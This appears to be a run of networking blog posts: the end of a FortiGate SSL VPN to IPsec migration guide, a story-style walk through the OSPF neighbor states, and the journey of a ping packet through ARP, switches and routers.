1. Add the IPsec tunnel to the EMS endpoint profile alongside the existing SSL VPN tunnel — don't remove SSL VPN yet.

2. Assign to a pilot group only. Validate.

3. Expand to all users once validated.

4. Only at the end of cutover, remove the SSL VPN tunnel from the profile and enforce IPsec, so endpoints can no longer fall back.

Watch for this: if EMS keeps pushing the SSL VPN tunnel after you think you've cut over, endpoints will quietly keep using it — and then break at the firmware upgrade. Removing SSL VPN from the EMS profile is part of the migration, not an afterthought.

Step 7 — Validate like you mean it

Validate with the pilot group on the live, current-firmware box before mass cutover. And validate with a real user account through the production auth backend and MFA — not just an admin test account. Auth-group and MFA differences are the failures users notice first.

diagnose vpn ike gateway list      # phase 1 up?
diagnose vpn tunnel list           # phase 2 up, client got an IP?

Then check it like a user: can they reach the same internal hosts as before, does internal DNS resolve, does the split tunnel route only the intended subnets, does MFA prompt the way it used to? Tick every item against the discovery document from Step 1. That's your acceptance test.

Step 8 — The maintenance window is the last step, not the first

Here's where the discipline pays off. By the time you schedule the firmware upgrade, IPsec is already proven for every user. The window isn't where you do the risky work — it's where you do the final work, with all the risk already retired.

And you treat the upgrade with respect, because it's a one-way door:

• Before the upgrade, rollback is trivial — just point users back to the still-present SSL VPN tunnel via EMS. Both stacks coexist on pre-7.6.3 firmware.

• After the upgrade, SSL VPN tunnel mode no longer exists. Rollback now means restoring the pre-upgrade firmware and the backed-up config. That's exactly why you don't upgrade until IPsec is proven.

So the window sequence is short and boring on purpose:

1. Confirm SSL VPN usage has dropped to zero (get vpn ssl monitor).

2. Take a fresh config backup.

3. Upgrade to FortiOS 7.6.3+.

4. Re-validate IPsec end-to-end.

If you've done the previous seven steps, the window is a formality. That's the goal. A maintenance window should be a non-event because all the danger was handled before anyone scheduled it.

The rollback question I always ask: "What's your rollback story for the moment after you've upgraded?" If the answer is anything other than "restore firmware and config from backup," you're not ready to schedule the window yet.

The business impact, done right

Let me translate the whole thing into the language leadership cares about, because connecting engineering to business outcomes is what actually moves you from mid-level toward senior:

• Users notice nothing. Same FQDN, same login, same resources. Zero downtime.

• The company moves off a vulnerable remote-access path that was a standing liability.

• The firmware finally gets current, which closes patch gaps and helps with audits and insurance.

• Security posture goes up while downtime stays at zero.

That last line is the entire job. The value isn't knowing the IPsec commands — plenty of people know the commands. The value is sequencing the work so the business never feels it. Discovery, backups, honest scoping, path verification, building alongside, validating with a pilot, and saving the irreversible step for last: that ordering is the difference between an engineer who can do the migration and one who can be trusted to.

TL;DR — the sequence on one screen

1. Discover the current SSL VPN completely (it's your acceptance criteria).

2. Back up off-box, secrets sanitized.

3. Scope honestly one site or all, standalone or FortiManager-managed.

4. Verify the path — IPsec ports / TCP-443 fallback, no IP-pool overlap.

5. Build IPsec alongside SSL VPN and rebuild the firewall policy (it doesn't migrate).

6. Stage in EMS, cut over by pilot group, then enforce IPsec last.

7. Validate with real users + MFA against the discovery doc.

8. Upgrade last — it's a one-way door; fresh backup, then re-validate.

Migrate on current firmware. Validate everything. Upgrade last. Do it in that order and the SSL VPN → IPsec migration stops being a gamble and becomes what good engineering always looks like from the outside: boring, quiet, and uneventful.

If you're working through this migration and want to compare notes on edge cases —overlapping subnets, SAML auth, FortiManager-templated rollouts — I'm always up for that conversation.

I woke up alone.

Someone had just configured OSPF on my interface — network 10.0.0.0 0.0.0.255 area 0 — and handed me a job: find the network, learn the topology, build the map. But there was no map. There were no neighbors. There was just me, an interface, and a wire disappearing into the dark.

In OSPF, they call this the DOWN state. It means exactly what it sounds like. Nothing has happened. No one has spoken. I am a router with potential and no friends.

But I knew what to do. Every 10 seconds, I would shout into that wire and hope someone shouted back.

Chapter One: The First Hello

I multicast my first OSPF Hello packet to 224.0.0.5 — the address every OSPF router on the planet listens to. It wasn't addressed to anyone in particular. It was a message to whoever was listening.

My Hello carried everything about me:

Router ID:      1.1.1.1
Area ID:        0
Hello interval: 10 seconds
Dead interval:  40 seconds
Neighbors seen: (none)

That last line was my honesty. I hadn't heard from anyone. My neighbor list was empty. I was announcing myself to the universe and admitting, in the same breath, that I was completely alone.

Somewhere down that wire, Router B — 2.2.2.2 — had just woken up too.

Chapter Two: The Passport Check

Router B received my Hello. Before it did anything else, it did what every border agent does: it checked my credentials.

Did my Area ID match its own? Yes. Did my Hello interval match? Yes. Did my Dead interval match? Yes. Were we on the same subnet? Yes.

Every parameter had to match. This is OSPF's first rule of friendship — you don't get to be neighbors with someone who runs on a different schedule, lives in a different area, or can't agree on the basics. The internet has no room for miscommunication between routers.

Router B decided I was worth responding to. It sent back its own Hello — and inside that Hello, it listed my Router ID.

That was the moment everything changed.

Chapter Three: I Heard My Own Name

Router B's Hello arrived. I read through it. And there, in the neighbor list, was my own Router ID — 1.1.1.1.

Someone had heard me. Someone had written my name down. Someone knew I existed.

In OSPF terms, I had just entered INIT state — one-way communication established. Router B could hear me. But I hadn't yet confirmed that I could hear Router B back.

So I sent another Hello. This time, I listed Router B's ID in my neighbor list. Router B received it and saw its own name inside.

We were now listing each other in our Hellos. Two routers, confirming each other's existence across a wire. This was 2-WAY state — and it was the first real milestone.

We were neighbors. Officially. On paper.

But being neighbors is just knowing someone's name. What we needed next was something deeper — a shared understanding of the entire network. And before we could share that, we had to settle something first.

Who was in charge?

Chapter Four: The Election Nobody Campaigned For

OSPF needed a Master and a Slave — not forever, just for the purpose of exchanging our databases. Someone had to control the sequence numbers. Someone had to go first. Two routers talking at the same time, with no coordination, is how databases get corrupted.

The election took no time at all. The rule is simple: higher Router ID wins.

Router B was 2.2.2.2. I was 1.1.1.1. Router B won. Router B became Master.

No hard feelings. The Master sets the pace. The Slave follows. It is the smallest, most polite power structure imaginable — and it only exists for the next few seconds while we trade information.

We entered EXSTART state. The handshake before the handshake. Roles agreed. Sequence numbers synchronized. Ready to open our maps.

Chapter Five: The Table of Contents

Here is what most people get wrong about OSPF database exchange: we don't hand each other our full maps right away. That would be enormous. That would be wasteful. Instead, in EXCHANGE state, we swap something much smaller — a DBD packet. A Database Description.

Think of it as a table of contents.

Each entry says: "I know about this network. My copy was last updated at sequence number X."

LSA Type 1 — Router LSA — RID 1.1.1.1 — Seq 0x80000003
LSA Type 1 — Router LSA — RID 2.2.2.2 — Seq 0x80000005
LSA Type 2 — Network LSA — 10.0.0.0/24

Router B scanned my table of contents and compared it to its own. Anything it didn't have, or anything where my sequence number was newer than its copy — it flagged. I did the same with Router B's list.

By the end of EXCHANGE state, we each had a precise shopping list: these are the things I need from you. These are the gaps in my map.

Chapter Six: Filling the Gaps

In LOADING state, we made our requests.

I sent Router B an LSR — a Link State Request — for every LSA I had flagged as missing. Router B responded with an LSU — a Link State Update — containing the actual map data. I received it, installed it, and sent back an LSAck — an acknowledgement.

Every piece of information, confirmed. Every map fragment, receipted. Nothing was assumed to have arrived safely; everything was explicitly acknowledged.

Router A → Router B: "Send me your full LSA for 10.2.0.0/24." Router B → Router A: "Here it is." Router A → Router B: "Got it. Thank you."

This continued until both of our databases had no more gaps. The picture was sharpening. The map was filling in.

And then, finally — silence. Not the silence of loneliness. The silence of completion.

Chapter Seven: Full

FULL state.

The two most satisfying words in networking.

Router A and Router B now had identical Link State Databases. The same map. The same picture of the network. Built from scratch, piece by piece, through Hellos and elections and table-of-contents swaps and careful receipted requests.

We each ran Dijkstra's SPF algorithm — independently, on our own hardware, using the identical database — and calculated the shortest path to every destination in the network. Those paths became routing table entries. Those entries became the decisions we would make for every packet passing through us from this moment on.

And now? Now we just wave.

Every 10 seconds, I multicast a Hello. Every 10 seconds, Router B does the same. As long as I hear from Router B within 40 seconds — the Dead interval — I know it's alive. I know the map is still valid. I know nothing has changed.

If those Hellos ever stop? The Dead timer expires. I declare Router B down. I flood the network with an updated LSA — "something has changed, recalculate" — and every router in the area reruns SPF. The network finds a new path. Traffic reroutes. Life goes on.

The network heals itself. Because every router knows the full map. Because every router ran the same algorithm. Because two routers, weeks or months ago, woke up alone on a wire and did the work of becoming neighbors.

What You Should Remember

The whole process — DOWN to FULL — happens in seconds. But every state has a purpose, and understanding them is what separates someone who configures OSPF from someone who understands it.

DOWN — nothing has happened yet. Waiting to begin.

INIT — I've received a Hello, but communication is only one-way.

2-WAY — we can see each other. We're neighbors. Parameters matched.

EXSTART — we're electing a Master and agreeing on sequence numbers.

EXCHANGE — we're swapping table-of-contents (DBD packets), not full maps.

LOADING — we're requesting the specific LSAs we're missing (LSR → LSU → LSAck).

FULL — databases are identical. SPF has run. Routes are installed. We're adjacent.

Hello packets keep the friendship alive. Dead timers notice when it ends. LSA floods carry the news. SPF finds the new path.

And underneath all of it — underneath every routing decision, every packet forwarded, every path calculated — is the story of two routers that woke up alone, found each other, compared notes, filled in each other's gaps, and built a shared map of the world.

In 40 seconds or less.

Next time you see a router stuck in EXSTART or LOADING, you'll know exactly what conversation got interrupted — and why.

I was born in a moment of intention.

Someone typed ping 10.10.20.10 and pressed Enter. And just like that, I existed —64 bytes of pure purpose, assembled by an operating system that had already decided where I needed to go. My name, in network terms, is an ICMP Echo Request. But I prefer to think of myself as a question looking for an answer.

I had a source. I had a destination. I had a TTL of 64 a countdown of lives, each one to be spent at a router along the way. What I didn't have yet was a way out the door.

That's where things got interesting.

Chapter One: The Desperate Shout

Before I could leave PC-A's network card, my host had a problem. It knew where I was going — IP address 10.10.20.10, somewhere out there on a different network. But to physically send me anywhere, it needed something more immediate: the MAC address of the front door. The default gateway. The router sitting just one hop away.

IP addresses are like city names on a map. MAC addresses are the actual coordinates where the delivery van parks. You can't drive to "New York" — you need a street, a building, a door number.

So PC-A screamed into the local network:

"Who has 192.168.1.1? Tell me your MAC address!"

This is ARP — Address Resolution Protocol — and it is, at its heart, a neighborhood shout. Every device on the subnet heard it. Most ignored it. But the router? The router knew that IP was its own. It replied quietly:

"That's me. Here's my MAC: AA:BB:CC:DD:EE:FF."

PC-A wrote that answer in its ARP cache — a little sticky note it would keep for a while — and I finally had somewhere to go.

Chapter Two: Getting Dressed

Now came the wrapping.

PC-A encapsulated me inside an Ethernet frame — think of it as a physical envelope for the local journey ahead. The label on this envelope was precise and, at first glance, a little strange:

Source IP:       192.168.1.10   (PC-A)
Destination IP:  10.10.20.10    (PC-B — my final destiny)
Source MAC:      PC-A's MAC
Destination MAC: AA:BB:CC:DD:EE:FF  ← the router, not PC-B

Notice the sleight of hand. My IP destination was PC-B, far away on another network. But my MAC destination was the router, right next door. This is the beautiful duality at the heart of networking:

• The IP address is your final destination — where you're ultimately going.

• The MAC address is your next stop — who you're handing yourself to right now.

I was the same letter inside two different envelopes. One envelope for the whole journey. One envelope for the next block.

Chapter Three: The Silent Bouncer

I hit the switch.

The switch is not a thinker. It does not wonder about my destination IP. It does not care about my TTL or my payload or my hopes and dreams. It does one thing, and it does it fast: it looks at the destination MAC address on my Ethernet frame, checks its MAC address table, and points me at the correct port.

No conversation. No negotiation. Just a finger pointed silently at a door.

I was out the other side in microseconds. The switch had already forgotten me.

Chapter Four: The Border Crossing

The router was different. The router looked at me.

It took my Ethernet frame and tore it off — that layer-2 wrapper was dead now, its job done. Underneath was my naked IP header, and the router studied it carefully.

Where is 10.10.20.10?

It consulted its routing table — a map of the known internet, maintained through routing protocols, updated constantly. It found a path. Then it did something remarkable: it built me a brand new Ethernet frame from scratch, addressed to the next router down the line.

Source MAC:      This router's outgoing interface
Destination MAC: The next router's MAC

My IP addresses? Untouched. Those belong to me and travel with me always. But my MAC addresses? Completely replaced. The old envelope, discarded. A new one, written.

And my TTL — that countdown of lives — ticked down by one. From 64 to 63. The router was kind enough not to mention what happens when it reaches zero.

I was handed off. I was someone else's problem now.

Chapter Five: The Relay Race

What followed was repetition. Beautiful, mechanical, necessary repetition.

Router after router after router. Each one performed the same ancient ritual:

1. Strip the Layer 2 frame

2. Read the destination IP

3. Consult the routing table

4. Re-encapsulate with fresh MAC addresses

5. Forward to the next hop

My IP stayed constant. My MAC changed at every single hop. I was, in a very real sense, the same letter being passed through a relay race — the baton unchanged, but the runner always new.

The internet is not one long wire from PC-A to PC-B. It is a chain of short wires, stitched together by routers who each take responsibility for just the next segment. Nobody knows the full route. Each router only knows: not me — forward.

Chapter Six: The Last Mile

Eventually, a router found itself on PC-B's local network. The destination IP — 10.10.20.10 — was here, on this subnet, reachable.

One more ARP. One last shout into the local neighborhood:

"Who has 10.10.20.10?"

PC-B answered. Its MAC address was noted. One final Ethernet frame was wrapped around me, and the local switch — another silent bouncer — delivered me directly into PC-B's network card.

PC-B peeled back every layer. Ethernet frame, gone. IP header, examined. ICMP Echo Request, recognized.

And PC-B, satisfied, did the only thing left to do: it built a reply and sent it all the way back.

What You Should Remember

The whole journey took milliseconds. Dozens of decisions, made at wire speed, by devices that have been performing this ritual billions of times a day for decades.

But underneath the speed, the logic is elegant and simple:

IP addresses are the final destination — they never change on the journey.

MAC addresses are the next-door neighbor — they change at every single hop.

Switches move frames using MAC addresses. They don't think. They point.

Routers move packets using IP addresses. They strip, decide, re-wrap, and forward.

ARP is the glue between these two worlds — the translation layer that turns a logical IP into a physical MAC, one local network at a time.

And somewhere in all of that — in the ARPs and the frames and the routing tables and the TTL countdowns — there is one small packet, 64 bytes of pure intention, that just wanted to get home.

Next time you ping a device, you'll know what's really happening.